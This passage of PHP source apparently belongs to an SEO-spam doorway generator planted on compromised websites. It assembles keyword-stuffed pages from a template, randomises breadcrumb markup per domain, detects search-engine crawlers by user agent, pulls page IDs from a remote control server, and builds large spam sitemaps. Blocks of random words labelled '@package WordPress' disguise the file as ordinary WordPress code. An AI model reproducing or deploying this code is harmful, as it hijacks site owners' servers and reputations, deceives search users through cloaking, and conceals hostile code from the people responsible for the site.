		$shengyu--;
		if($shengyu > 0){
			$arrKeyNum[$endnum--] = $numShan + 1;
		}
		$shengyu--;
	}
	
	$nowTempFlag = 0;
	$nowTempNumFlag = 0;
	
	$tempDesNameArr = array();
	
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		$nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
		if($nowTempNumFlag < $nowLens){
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag++;
		}else{
			// $tempDesNameArr[] = "<b>{$Ptitle}</b>";
			$nowTempFlag++;
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag=1;
		}
		
	}
	
		while($nowTempFlag <= $lenthFlinkArr-1){
			$nowTempFlag++;
			// $tempDesNameArr[] = "<b>{$Ptitle}</b>";
		}
	

	$tpDesNameArr = $tempDesNameArr;
	$i=0;
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		
		$tempLen = strlen($tpdesVs) + $i;
		if($tempLen % 2 == 1){
			$nowtempfh = ', ';
		}else
			$nowtempfh = '. ';
	
		
		if($i == $tempArrLen){
			$addStrDesII .= $tpdesVs . '.';
		}else{
			$addStrDesII .= $tpdesVs . $nowtempfh;
		}
		$i++;
			
	}
		
	$addStrDesII = '<p>'.$addStrDesII.'</p>'.PHP_EOL;

}




$addPdesStr .= "<h2>{$Ptitle}</h2>".PHP_EOL;
$addPdesStr .= $addStrDesII.PHP_EOL;




$addH3Str = "<h3>{$Ptitle}</h3>";
 
 $thisPnameLink = '<a href="">'.$nowIdName.'</a>';
 $thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
 
 $thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';

$flagH2I = 1;
$flagH2II = 1;
$flagH2III = 1;

		$fileMb = fopen("template.html","r");
			$html = fread($fileMb,filesize("template.html"));	

			$numBz = 0;

			$titleKeys = KEYJG % 6;
			
			
		
			
			$catUseKey = (KEYJG + $id23) % count($catArr);
			$catUseKeyTwo = ((KEYJG+1) * $id23) % count($catArr);
			if($catUseKey == $catUseKeyTwo)
				$catUseKeyTwo = ($catUseKeyTwo + 1) % count($catArr);
			
			if(preg_match('#.*\.(.*)\..*#i',$thisdom))
				$usdomStr = preg_replace('#.*\.(.*)\..*#i','\1',$thisdom);
			else
				$usdomStr = preg_replace('#(.*)\..*#i','\1',$thisdom);
			
			
			$titlePosition = (KEYJG + $id23) % 2;
			
			if($titlePosition == 0)
				$nowShowTitle = $Ptitle .' '. $catArr[$catUseKeyTwo] .' '. $catArr[$catUseKey].' '.$thisdom ;
			elseif($titlePosition == 1)
				$nowShowTitle = $Ptitle .' '. $catArr[$catUseKey] .' '. $catArr[$catUseKeyTwo].' '.$thisdom ;
		
			
		
			$addTopStr =  str_replace('###nowtitles###',$Ptitle ,$addTopStr);
			$tpaddstr =  str_replace('###nowtitles###',$Ptitle,$tpaddstr);
			
			$html = str_ireplace('draft_or_post_title',  $nowShowTitle, $html);	
			$html = str_ireplace('#bbbkeybbb#', $pkeyword . $addKeyWordStr, $html);	
			$html = str_ireplace('#bbbdesbbb#', $pdescription, $html);	
			
			$html = str_ireplace('#bbb1content1bbb#',  $addTopStr, $html);
			// $html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html);
			
			
			
			$tempStr = $addPdesStrII;
			$addPdesStrII = $addPdesStr."<br/>". PHP_EOL . $fr1Strs;;
			$addPdesStr = $tempStr;
		
			if(strstr($html,'#link3#'))
			if($flagH2I){
					$html = str_replace('#link3#',$addPdesStrII ,$html);
					$flagH2I = 0;
				}else{
					$html = str_replace('#link3#','',$html);
				}
				
				
							
			if(strstr($html,'#flink#'))
				if($flagH2I){
					$html = str_replace('#flink#',$addPdesStrII ,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#flink#',$addPdesStr, $html);
					$flagH2II = 0;
				}else{
					$html = str_replace('#flink#','',$html);
				}
				
				
				
			if(strstr($html,'#link4#'))
				if($flagH2I){
					$html = str_replace('#link4#',$addPdesStrII ,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#link4#',$addPdesStr, $html);
					$flagH2II = 0;
				}elseif($flagH2III){
					$html = str_replace('#link4#','',$html);
					$flagH2III = 0;
				}else{
					$html = str_replace('#link4#','',$html);
				}
				
				
			if(strstr($html,'#link5#'))
				if($flagH2I){
					$html = str_replace('#link5#',$addPdesStrII ,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#link5#',$addPdesStr, $html);
					$flagH2II = 0;
				}elseif($flagH2III){
					$html = str_replace('#link5#','',$html);
					$flagH2III = 0;
				}else{
					$html = str_replace('#link5#','',$html);
				}
	
				
				
				if(strstr($html,'#Flink2#'))
				if($flagH2I){
					$html = str_replace('#Flink2#',$addPdesStrII ,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#Flink2#',$addPdesStr, $html);
					$flagH2II = 0;
				}elseif($flagH2III){
					$html = str_replace('#Flink2#','',$html);
					$flagH2III = 0;
				}else{
					$html = str_replace('#Flink2#','',$html);
				}
						
				
			$lastAddStrs = '';
			
			if($flagH2I){
				$lastAddStrs .= $addPdesStrII  . PHP_EOL;
			}
			
			if($flagH2II){
				$lastAddStrs .= $addPdesStr. PHP_EOL;
			}
			
			if($lastAddStrs){
				$tpaddstr = $tpaddstr .PHP_EOL . $lastAddStrs;
			}
				
				
			$html = str_ireplace('#bbb2content2bbb#', '', $html);
			$html = str_ireplace('#descontent#', $tpaddstr, $html);
				
			$html = str_replace('#link1#','',$html);
			$html = str_replace('#link2#','',$html);
				

	
			$footKey = "<h3>{$Ptitle}</h3>". PHP_EOL ."<br/>{$pdescription}".PHP_EOL;
			$html = str_replace('</body',$footKey.'</body',$html);

		
	echo $html;
 
die();


	
/**
 * avenue device duration episode explode external extinct kneel leak liberty maximum merchant molecule parallel pat peak promote relief shift theme tone universal urge volume weld.
 * bargain continual dump insignificant mist ridge tuition vitally.
 * accomplish applause applianc appreciate automatic beforehand commit data explode extent gene glorious ingredient internal jail jewel passport resemble simplicity theme transport.
 * agency applicable candidate commit consume device electron explore magnet maintain resemble semester software spit tide vary.
 * candidate comment decorate exceedingly genuine infect molecule motive mutual passion quit rival sensible software spray transplant weld.
 * adjust debate fatigue favorite globe horror interpret isolate liberal mood passion reinforce rescue revenue smash splendid talent tendency vague vessel.
 * academy apparent applicable breadth disturb equation essential expand exterior loosen opportunity oxygen via violent.
 * acid algebra arbitrary arouse capture ceremony earthquake favorable opportunity outstanding personnel quotation remarkable stripe treaty.
 * bundle distribute joint numerrous phenomenon remedy simplicity xploit.
 * advertise fatigue faulty participate submit thrust universal.
 * appropriate blast deserve disturb dive dump enclose episode favorite issue leak maintain oval recruit seminar shrink slip substitute unique vacuum.
 * dash deposit hestiate portable presumably scandal semester shrug skim vain zone.
 * appreciate exaggerate globe gratitude identify integrate invade liberty outstanding passion pat prospect remarkable slide tedious tidy wonder yield.
 * balcony decade flock globe resistant spit talent torture urban.
 * domestic excess extreme harmony jeans loosen nuisance outset particle petrol priority range render route.
 * attitude decline excursion fertilizer globe golf mild particularly passion spray.
 * continuous decorate derive dive erect mild partial revenue sexual witness.
 * abundant approve burst transport undergraduate yield.
 * collision distress exaggerate hatred jewel portable prevail route shield triangle violent virtual.
 * campus commit decade expansion garbage highlight interfere joint leisure lest marveous moist naval quotation route scale virtual.
 * adequate advertisement appreciate aware barrel biology coach deaf dump emotion horror label partial portion relevant retail ridiculous shiver survey tense tremble volcano welfare.
 * accomplish automatic awkward delay distribute diverse duration entry enviroment episode exceedingly manual optics oval prevail remedy resolve satellite sexual theme trend triangle vary.
 * Internet applicant boundary fertilizer passive regulate retain.
 * Internet discount elbow external frustrate glorious guarantee guilty harmony inevitable infinite twist utilify.
 * deserve haste interpretation leak religious substance variation vivid.
 * appoint award breed calculate delay distribute episode erect expand germ herd inferior joint outstanding reinforce sensible split stable submit trend vocabulary weave.
 * agency arbitrary arouse aspect casual cliff distinguish enthusiasm exclude extent gasoline glory herd leisure loose prevail restrain ridid shiver strategy survey target venture via witness.
 * arichmetic breed dusk equation focus illegal liquor portion principle register security swallow vary vibrate.
 * bother bureau collision deaf hostile triangle.
 * Internet approximate competent defect discrimination display evil explosion glorious glory grateful jam label laser nuisance outset prominent resemble resume satellite shrug tremble urge virtual.
 * consistent dump junior label notify pants principle prompt radical spray timber valid waist.
 * abundant agency attach audio distinguish guarantee maximum nucleus powder reliable severe substantial transform undergo.
 * apparent award budget calculate debt drip emphasize essential faculty ferfile flock germ globe insurance massive notion pants profitable racial recruit sorrow territory violent volcano voluntary.
 * academic bacteria calculate emotional encounter extent extraordinary favorite register regulate transform transplant.
 * available awkward campus capture comparable delay discrimination dispose duration evolve hostile mature mild motive phenomenon poverty principle sponsor subt terminal tide torture waist.
 *
 * @package WordPress
 */


function getRandStrArr($tpArr=array(),$bgKey=0){
	
	$returnStr = '';
	$numArr = count($tpArr);
	for($i=$bgKey+1;$i<$numArr;$i++){
		$returnStr .= $tpArr[$i].' ';
	}
	
	for($i=0;$i<=$bgKey;$i++){
		$returnStr .= $tpArr[$i].' ';
	}
	
	return trim($returnStr);

}


function getBreadcrum($Ptitle,$catArr,$id23,$pname){

	global $arrBread,$thisdom;
	
	$breadTagkey = KEYJG % 6;
	if($breadTagkey == 0){
		$breadTagHtml1 = 'nav';
		$breadTagHtml2 = 'ul';
	}elseif($breadTagkey == 1){
		$breadTagHtml1 = 'nav';
		$breadTagHtml2 = 'ol';
	}elseif($breadTagkey == 2){
		$breadTagHtml1 = 'div';
		$breadTagHtml2 = 'ol';
	}elseif($breadTagkey == 3){
		$breadTagHtml1 = 'section';
		$breadTagHtml2 = 'ol';
	}elseif($breadTagkey == 4){
		$breadTagHtml1 = 'section';
		$breadTagHtml2 = 'ul';
	}else{
		$breadTagHtml1 = 'div';
		$breadTagHtml2 = 'ul';
	}
	
	// $catstr = implode(' >> ',$catArr);

	$catArr= array();
	// if($catstr)
		// $catArr[] = $catstr;

	$arrBreadNum = count($arrBread);
	$domlen = strlen($thisdom);


	$breadTagkey = $domlen % 5;
	
	$liClassYs = KEYJG % 19;
	
	if($liClassYs == 0){
		$liStr = ' class="item"';
	}elseif($liClassYs == 1){
		$liStr = ' class="breadcrumbs-item"';
	}elseif($liClassYs == 2){
		$liStr = ' class="nz-breadcrumb-item"';
	}elseif($liClassYs == 3){
		$liStr = ' class="items"';
	}elseif($liClassYs == 4){
		$liStr = ' class="breadcrumblist-items"';
	}elseif($liClassYs == 5){
		$liStr = ' class="el-breadcrumb-item"';
	}elseif($liClassYs == 6){
		$liStr = ' class="doc-crumb-item"';
	}elseif($liClassYs == 7){
		$liStr = ' class="breadcrumb-item"';
	}elseif($liClassYs == 8){
		$liStr = ' class="crumbs-item"';
	}elseif($liClassYs == 9){
		$liStr = ' class="bread-item"';
	}elseif($liClassYs == 10){
		$liStr = ' class="breads-item"';
	}elseif($liClassYs == 11){
		$liStr = ' class="breadcrumbItem"';
	}elseif($liClassYs == 12){
		$liStr = ' class="breadcrumbItems"';
	}elseif($liClassYs == 13){
		$liStr = ' class="breadcrumblistitems"';
	}elseif($liClassYs == 14){
		$liStr = ' class="BreadcrumbItem"';
	}elseif($liClassYs == 15){
		$liStr = ' class="ListItem"';
	}elseif($liClassYs == 16){
		$liStr = ' class="crumb-items"';
	}else{
		$liStr = '';
	}
	

	$arrBreadId = array();
	$arrBreadId[] = 'Bread';
	$arrBreadId[] = 'BreadHead';
	$arrBreadId[] = 'Breadcrumb';
	$arrBreadId[] = 'Breadcrumb-Head';
	$arrBreadId[] = 'Breadcrumb-Heads';
	$arrBreadId[] = 'Breadcrumb-Top';
	$arrBreadId[] = 'BreadcrumbHeads';
	$arrBreadId[] = 'BreadcrumbLists';
	$arrBreadId[] = 'BreadcrumbNavigation';
	$arrBreadId[] = 'BreadcrumbTop';
	$arrBreadId[] = 'BreadcrumbTops';
	$arrBreadId[] = 'MyBreadcrumb';
	$arrBreadId[] = 'ant-breadcrumb';
	$arrBreadId[] = 'bread-List';
	$arrBreadId[] = 'breadtop';
	$arrBreadId[] = 'breadtops';
	$arrBreadId[] = 'breadHead';
	$arrBreadId[] = 'breadHeads';
	$arrBreadId[] = 'breadList';
	$arrBreadId[] = 'breadLists';
	$arrBreadId[] = 'breadcrumb';
	$arrBreadId[] = 'c-breadcrumb';
	$arrBreadId[] = 'crumbList';
	$arrBreadId[] = 'crumb-list';
	$arrBreadId[] = 'crumbs';
	$arrBreadId[] = 'crumbsHead';
	$arrBreadId[] = 'crumbsHeads';
	$arrBreadId[] = 'crumbs-head';
	$arrBreadId[] = 'crumbs-nag';
	$arrBreadId[] = 'crumbsTop';
	$arrBreadId[] = 'crumbsTops';
	$arrBreadId[] = 'crumbs-top';
	$arrBreadId[] = 'cs-breadcrumb';
	$arrBreadId[] = 'customBreadcrumb';
	$arrBreadId[] = 'doc-crumb';
	$arrBreadId[] = 'el-breadcrumb';
	$arrBreadId[] = 'l-breadcrumb';
	$arrBreadId[] = 'navBreadCrumb';
	$arrBreadId[] = 'navBreadCrumbs';
	$arrBreadId[] = 'page-breadcrumbs';
	$arrBreadId[] = 'pages-breadcrumbs';
	$arrBreadId[] = 's-breadcrumb';
	$arrBreadId[] = 'v-breadcrumb';
	$arrBreadId[] = 'chrome-breadcrumbs';
	
	
	$keyBreadId = KEYJG % 48;
	
	if(isset($arrBreadId[$keyBreadId])){
		$keyBreadIdStr = ' id="'.$arrBreadId[$keyBreadId].'"';
	}else{
		$keyBreadIdStr = '';
	}
	


	$strBreads = '';
	if($breadTagkey == 4){
		$arrBreadC1 = array();
		$arrBreadC1[] = 'BreadcrumbData';
		$arrBreadC1[] = 'BreadcrumbDatas';
		$arrBreadC1[] = 'BreadcrumbTop';
		$arrBreadC1[] = 'crumbsHead';
		$arrBreadC1[] = 'crumbsTop';
		$arrBreadC1[] = 'crumbsList';
		$arrBreadC1[] = 'crumbs-top';
		$arrBreadC1[] = 'crumbs-list';
		$arrBreadC1[] = 'crumbs-Head';
		$arrBreadC1[] = 'BreadcrumbTag';
		$arrBreadC1[] = 'Breadcrumb-tag';
		$arrBreadC1[] = 'BreadcrumbBody';
		$arrBreadC1[] = 'BreadcrumbBody';
		$arrBreadC1[] = 'Breadcrumb-Top';
		$arrBreadC1[] = 'Breadcrumb-body';
		$arrBreadC1[] = 'BreadcrumbTops';
		$arrBreadC1[] = 'Breadcrumb-Head';
		$arrBreadC1[] = 'Breadcrumb-Heads';
		$arrBreadC1[] = 'Breadcrumb-List';
		$arrBreadC1[] = 'BreadcrumbList';
		$arrBreadC1[] = 'BreadcrumbLists';
		
		$ckeyI = KEYJG % count($arrBreadC1);
		
		$classI =  $arrBreadC1[$ckeyI];
		$classII =  $domlen % 2 ? 'Breadcrumbs' : 'Breadcrumb';
		
		$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classI.'">';
		$strBreads .= '<'.$breadTagHtml2.' class="'.$classII.'">';
		$strBreads .= '<li'.$liStr.'><a href="/">Home</a></li>';
		if(count($catArr)){
			foreach($catArr as $vs){
				$vs = trim($vs);
				$nowCatUrl = getCatLink($vs,$id23);
				$strBreads .= '<li'.$liStr.'><a href="'.$nowCatUrl.'">'.$vs.'</a></li>';
			}
		}
		
		$nowUrl = getalink($id23,$pname);	
		$strBreads .= '<li'.$liStr.'><a href="'.$nowUrl.'">'.$Ptitle.'</a></li>';
		// $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>';
		$strBreads .= '</'.$breadTagHtml2.'>';
		$strBreads .= '</'.$breadTagHtml1.'>';
	}else{
		$calssBreadKey = KEYJG % $arrBreadNum;
		$classTop = $arrBread[$calssBreadKey];
		$classul =  KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs';
		$breadTagkey = $domlen % 2;

		if($breadTagkey == 0){
			if($classTop)
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
			else
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
			
			$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
			$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="/"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>';
			$flagNum = 2;
			if(count($catArr)){
				foreach($catArr as $vs){
					$vs = trim($vs);
					$nowCatUrl = getCatLink($vs,$id23);
					$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="'.$nowCatUrl.'"><span itemprop="name">'.$vs.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
					$flagNum++;
				}
			}
				
				
			$nowUrl = getalink($id23,$pname);	
			// $strBreads .= '<li'.$liStr.'><a href="'.$nowUrl.'">'.$Ptitle.'</a></li>';
				
				
			$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a href="'.$nowUrl.'"><span itemprop="name">'.$Ptitle.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
				
			$strBreads .= '</'.$breadTagHtml2.'>';
			$strBreads .= '</'.$breadTagHtml1.'>';
		}else{
			if($classTop)
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
			else
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
			
			$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
			$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/" itemprop="url"><span itemprop="title">Home</span></a></li>';
			if(count($catArr)){
				foreach($catArr as $vs){
					$vs = trim($vs);
					$nowCatUrl = getCatLink($vs,$id23);
					$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="'.$nowCatUrl.'" itemprop="url"><span itemprop="title">'.$vs.'</span></a></li>';
				}
			}
				
			$nowUrl = getalink($id23,$pname);	
			$strBreads .= '<li'.$liStr.'><a href="'.$nowUrl.'">'.$Ptitle.'</a></li>';
			// $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>';
				
			$strBreads .= '</'.$breadTagHtml2.'>';
			$strBreads .= '</'.$breadTagHtml1.'>';
		}
	}
	
	
	return $strBreads;

}

function get_scheme(){
	
	if ( (isset($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (isset($_SERVER['HTTP_CF_VISITOR']) && strstr($_SERVER['HTTP_CF_VISITOR'],'https')) || (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443') ) {
		$httpPre= 'https';
	} else {
		$httpPre = 'http';
	}
	
	return $httpPre;
}


function get_shares(){
	
	$siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST'];
	$shareStr = '
<ul>
<li><a href="https://www.facebook.com/sharer/sharer.php?u=domain" target="_blank"><span>facebook</span></a></li>
<li><a href="https://twitter.com/share?url=domain" target="_blank"><span>twitter</span></a></li>
<li><a href="https://www.linkedin.com/shareArticle?mini=true&url=domain" target="_blank"><span>linkedin</span></a></li>
<li><a href="https://pinterest.com/pin/create/button/?url=domain" target="_blank"><span>pinterest</span></a></li>
</ul>
';
  $shareStr = str_replace('domain',$siteLink,$shareStr);
  
  return $shareStr;
	
}

function getCatLink($CatName,$id23){
		
		global $arrnametime,$arrKeywz,$date_string;		
	
		$filePres = '';		$fileEnds = '';		$siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST'];
		$dirNames = dirname(__FILE__);		$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));		
		if(JDT == 2){
			$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/";		}elseif(JDT == 1){
			$filePres = $siteLink ."/". $httcReplace . "/";		}elseif(JDT == 3){
			$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?cat=";		}else{
			$filePres = $siteLink."/";		}
		
		$CatName = str_replace('&',' ',$CatName);
		$CatName = str_replace('&',' ',$CatName);
		if(JDT == 3){
			
			$CatName = preg_replace('#\s+#i','-',$CatName);
			
			
			while(strstr($CatName,'--'))
				$CatName = str_replace('--','-',$CatName);
			
			$urlMid = $CatName;	
			
			$rtStr = $filePres.$urlMid;
			$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
			return $rtStr;
			
			}
		// BZCAT
		
		global $tpKeyStrCat;
		
		$endNumber = '';
		
		$tpNum = KEYJG * $id23;
		$tpKey = $tpNum % count($date_string);
		$lenStr = strlen($date_string[$tpKey]);
		if($tpKeyStrCat == -1)
			$tpKeyStrCat = (KEYJG + $pid) % $lenStr;
		$tpstr = $date_string[$tpKey];

		$randStr = '';
		$arrNum = array();
		for($i = 0; $i < $lenStr; $i++){
			$vs = $tpstr{$tpKeyStrCat};
			$int_vs = ord($vs);
			if($int_vs >= 100 and $int_vs <= 119){
				$arrNum[] = $int_vs % 10;
				if(count($arrNum) >= 3){
					break;
				}
			}
			
			$tpKeyStrCat = ($tpKeyStrCat + 1) % $lenStr;
		}
		
		$catNum = implode('',$arrNum);
		
		$CatName = preg_replace('#\s+#i','-',$CatName);
		$CatName = str_replace('--','-',$CatName);
		$urlMid =  str_replace('--','-',$CatName) . '/category-' . $catNum;
		// $urlMid .= JTHZ;		
		$rtStr = $filePres.$urlMid.'/';
		$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
		return $rtStr;
			
}
	
	
function getMapNum($bgNum,$mapnum){
	$TempArr = array();
	if($bgNum + $mapnum <= FNUM){
		for($i=0;$i<$mapnum;$i++){
			$TempArr[$i] = $bgNum + $i -1;
		}
	}else{
		for($i=0;$i<$mapnum;$i++){
			if($bgNum+$i > FNUM)
				$TempArr[$i] = $bgNum + $i -1 -FNUM;
			else
				$TempArr[$i] = $bgNum + $i -1;
		}
	}
	
	return $TempArr;
}


function getRandCId($rqurl){
	global $thisdom;
	
	for($i=0;$i<3;$i++){
		$idUrl =  GETDOM . "gpage.php?site=$thisdom&cid=$rqurl";
		$tempIdStr = curl_get_from_webpage($idUrl,'',5);
		if(preg_match('#<cid>(\d+)</cid>#i',$tempIdStr,$matchId)){
			return $matchId[1];
		}
	}
	
	  
	http_response_code(404);  
	exit; 
	
}

/**
 * academy attach core device flee manual naked pat poverty ridid rival scandal talent tension usage volunteer wagon wonder.
 * advertise awkward ban breadth conquer devise display expand female flexible infinite leisure odd prevail principal radiation repetition reveal shield spit suburb suspicion violence zone.
 * approach arichmetic drift exaggerate expand ferfile giant infant licence medium negative rescue scale secure semester stripe the universe.
 * decade gallon illegal shallow transmit urban vessel.
 * adult code continual enthusiasm entry expense faulty import licence liter noticeable oblige particularly prior reject semiconductor trap weld.
 * acquire jealous notion ridiculous.
 * accelerate applicant arouse avenue balcony barrel deaf erect evil external hatred hestiate hollow likelihood mood orient sketch vessel vibrate.
 * grand opportunity passport substantial trial vivid.
 * acid adjust arouse campus career emphasize exceedingly gap inferior particularly radical recruit register rival simplicity splendid stuff tendency tide twist urban urgent vehicle.
 * abundant bother entertainment globe hence mature maximum naked passion semester skim suspicious tide transplant undergo vanish.
 * expenditure nevertheless opponent vote.
 * barrel deputy derive disturb household petroleum region skim subsequent version video.
 * appropriate column descend dusk explosion flexible magnet mere molecule mood range slope undergo.
 * brake fate portion release.
 * hydrogen insignificant liquor outset quotation rely theme transport vivid.
 * agency attach award breadth casual equivalent evil fatigue gallery grateful hydrogen index manual mutual precaution regulate respond stale substance target tension textile trap weed xploit.
 * acknowledge ceremony exaggerate interfere nylon origin priority respond strategic unique virtue.
 * abuse campus coil comparative competition infer kneel luxury mixture mutual prohibit religious sake scandal slide smash subway tedious tension urban urgent variable video volcano.
 * arise gear nuisance tender.
 * acknowledge adhere burden continuous dump entry exceedingly index nonsense outstanding pants particularly professional prompt tense timber withstand.
 * bunch expel infect lean notion optional precaution prohibit reluctant repetition rival simplicity tedious tremble victim violet.
 * adjust award comedy data delicate dusk promote suspicious undertake vanish vehicle.
 * barrel capture career collision data decline flock insignificant invade mild numerrous passion profitable promote stale thrust vote.
 * accelerate approach available fatal parade universal.
 * adhere arichmetic comparative cope enclose exceed gallery guilty inevitable infant molecule neglect prior religious remote ultimate vibrate violet virtue virus.
 * adult appreciate architecture bacteria clue data estimate genius illegal inhabitant lynar manual media merchant mixture neutral particularly solar target territory undergo vanish vertical vessel violet.
 * award chaos consent consume decline genuine laser neutral petroleum radiation skim slide tender tidy vacant vehicle via.
 * deposit faulty infer prominent resemble scale usage.
 * acknowledge flock gallon media notion sake severe sponsor vacant vertical withdraw.
 * agency continuous dumb exclaim expense exterior guarantee illusion infect isolate issue laser lean numerrous parade personal pursue religious slender wealthy.
 * advertise agency burden calculate cancel cargo cliff infer partial restraint shield version violent.
 * episode gear globe hydrogen illusion integrate mild recruit region shuttle unique violet.
 * aware encounter expand strategic virtue volcano.
 * budget data drip emotion leather loose medium prevail sketch talent virtual withdraw.
 * continuous display jail professional scratch via withstand.
 * bargain deserve electron extreme frustrate germ idle mature mild rival scan semester simplify timber vanish video.
 * abundant flash flexible moisture tension.
 * adhere agent entertainment guilty resemble temporary variable whatsoever.
 * appetite aware barrier competition descend devise fatigue genuine insignificant interpretation laser licence moral principle priority slope strategic tissue version vivid volcano.
 * adopt auxiliary derive flexible mixture poverty scandal shift simplicity tense tropical.
 * appreciate brake catalog gaze germ lean parallel splendid.
 * ban cancel discipline index knot powder resume shelter shield suspicious tedious theme vertical vote.
 * appoint arouse device dusk genuine gesture jeans mutual obscure quotation skim sponsor talent tense undergo valley withstand.
 * authority burden calculate drip emphasize expend genius organ origin pat precaution religious shallow sponsor submerge undergraduate usage vary vertical vibrate violet virtue voluntary welfare.
 * constant deserve equivalent flash focus harmony illegal import interpret passive respond trace weave.
 * authority cliff competition disturb dusk hollow incident invade jungle modest obstacle passport pat precaution resume scale software solar subway temporary torture video volunteer weld.
 * aware cancel career core licence motive phenomenon suspicious wander.
 * aware candidate drip facility fatigue geography holy modify onion oval prohibit religious splendid.
 * academic continual dash decorate dispose echo evaluate flexible global grateful liable mature navigation numerrous priority private radical remote render sorrow sponsor stale talent.
 * audio continuous kneel network religion simplify tropical.
 * agency arichmetic calendar expend jealous pursue waist.
 * accomplish delicate oxygen phenomenon shrink spray.
 * mist moisture neglect particle slide witness.
 * abundant approve barrier casual decorate exaggerate exclaim glimpse horror import marine modest motive omit parallel sketch weave.
 *
 * @package WordPress
 */
	

function getRandId(){
	$num = rand(1,FNUM);	$num = $num - 1;	require(FILEDIRNAME . "/id$num.php");	$indexId=array_rand($arrId,1);	$id = $arrId[$indexId];	unset($arrId);	return $id;}
function get_arrvs($arr,$num,$nowkey){
	$numArr = count($arr);	
	if($nowkey + $num < $numArr)
		return $arr[$nowkey + $num];	else{
		if($nowkey + $num - $numArr - $numArr > 0)
			return get_arrvs($arr,$num - $numArr,$nowkey);		else
			return $arr[abs($nowkey + $num - $numArr)];	}
}

function get_pre_link($arr,$key){
	
	$tmpA1 = array();	$tmpA2 = array();	
	$num = count($arr);	
	
	if($key + JGNUM + 1 + LINKNUM >= $num){
		
		if($key + JGNUM + 1 - $num > LINKNUM){
			return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM);		}else{
		
		$duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1;		$tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM);		$tmpA2 = array_slice($arr, 0, $duoyu);			
		return array_merge($tmpA1,$tmpA2);		}
	}else{
			return  array_slice($arr, $key + JGNUM + 1, LINKNUM);	}
	
}
function get_next_link($arr,$key){
	
	$tmpA1 = array();	$tmpA2 = array();	
	$num = count($arr);	if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
		$duoyu = abs($key - JGNUM - LINKNUM);		$tmpA1 = array_slice($arr, 0, abs($key - JGNUM));		$tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu);		return array_merge($tmpA1,$tmpA2);	}else{
			return  array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM);	}
}
function rFile($file){
	if(function_exists('file_get_contents')){
		return file_get_contents($file);
	}else{
		$handle = fopen($file, "r");
		$contents = fread($handle, filesize($file));
		fclose($handle);
		return $contents;
	}
}
function isCrawler() {
	$agent= @strtolower($_SERVER['HTTP_USER_AGENT']);	if (!empty($agent)) {
		$spiderSite= array(
			"Googlebot",
			"Mediapartners-Google",
			"Adsbot-Google",
			"Yahoo!",
			"Google AdSense",
			"Yahoo Slurp",
			"bingbot",
			"MSNBot"
		);		foreach($spiderSite as $val) {
		$str = strtolower($val);		if (strpos($agent, $str) !== false) {
			return true;			}
		}
	} else {
		return false;	}
} 


function gsitemap2($filenames,$c=1,$jdt=1){
	global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
	$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;

	$filePres = '';	$fileEnds = '';	
	$dirNames = dirname(__FILE__);	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));			
	if(JDT == 2){
		$filePres = $httcReplace . "/" . basename(__FILE__) . "/";	}elseif(JDT == 1){
